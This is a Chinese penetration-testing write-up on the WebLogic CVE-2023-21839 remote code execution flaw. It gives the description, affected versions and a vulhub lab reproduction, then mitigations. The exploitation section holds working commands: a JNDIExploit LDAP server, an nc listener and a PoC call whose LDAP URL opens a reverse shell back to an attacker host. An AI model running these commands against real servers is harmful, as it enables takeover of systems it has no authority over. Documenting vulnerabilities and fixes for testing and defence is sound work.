前言
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
0x01 漏洞描述
- Weblogic 未授权远程代码执行漏洞(CVE-2023-21839) -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。
影响版本:
- Oracle WebLogic 12.2.1.3.0
- Oracle WebLogic 12.2.1.4.0
- Oracle WebLogic 14.1.1.0.0
0x02 漏洞等级
威胁级别 | 高危 | 中危 | 低危 |
0x03 漏洞验证
演示靶场环境使用vulhub搭建。
利用CVE-2023-21839工具对其进行漏洞复现。
- Python版工具地址:https://github.com/houqe/POC_CVE-2023-21839
- Go版工具地址:https://github.com/ASkyeye/CVE-2023-21839
- Java版工具地址:https://github.com/DXask88MA/Weblogic-CVE-2023-21839
使用命令如下:
python3 CVE-2023-21839.py -ip x.x.x.x -p xx -l ldap://x.x.x.x
DNSLog平台接收到响应请求,证明漏洞存在。
0x04 漏洞利用
此漏洞配合 JNDIExploit 工具可以实现远程代码执行。
演示说明:
受害服务器:192.168.110.104 # 运行weblogic服务的演示靶场环境
攻击者服务器:192.168.110.18 # 运行LDAP、NC服务,此服务器IP需要能被受害服务器访问到
在攻击者服务器上运行 JNDIExploit 工具,启动ldap服务和http服务,运行攻击载荷。
> java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.110.18
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...
注意:JNDIExploit -i 的服务器IP,不能设置成0.0.0.0的格式,否则无法执行命令成功,会导致无法将LDAP请求转发给HTTP服务,问题出在0.0.0.0:3456上面,不会自动转换为对应的IP地址,报错信息:Send LDAP reference result for Basic/ReverseShell/192.168.110.19/4444 redirecting to http://0.0.0.0:3456/ExploitKFSYyISScr.class
在攻击者服务器上运行 NC 工具,启动监听端口,用于接收反弹的shell。
> nc -lvvp 4444
lstn on [any] 4444 ..
利用CVE-2023-21839工具执行反弹shell命令。
#格式
python3 CVE-2023-21839.py -ip 受害服务器IP -p 受害服务器端口 -l ldap://LDAP服务器IP:LDAP运行端口/Basic/ReverseShell/NC监听服务器IP/NC监听服务器端口
#示例
python3 CVE-2023-21839.py -ip 192.168.110.104 -p 7001 -l ldap://192.168.110.18:1389/Basic/ReverseShell/192.168.110.18/4444
CVE-2023-21839工具执行成功后,在 JNDIExploit 运行界面可以看到如下请求内容。
紧接着 NC 监听界面,可以收到反弹回来的shell,到此即获取到了受害服务器的权限。
0x05 漏洞修复
- 目前厂商已发布升级补丁以修复漏洞。
- 通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。
- 禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启。
- 升级Weblogic Server运行环境的JDK版本。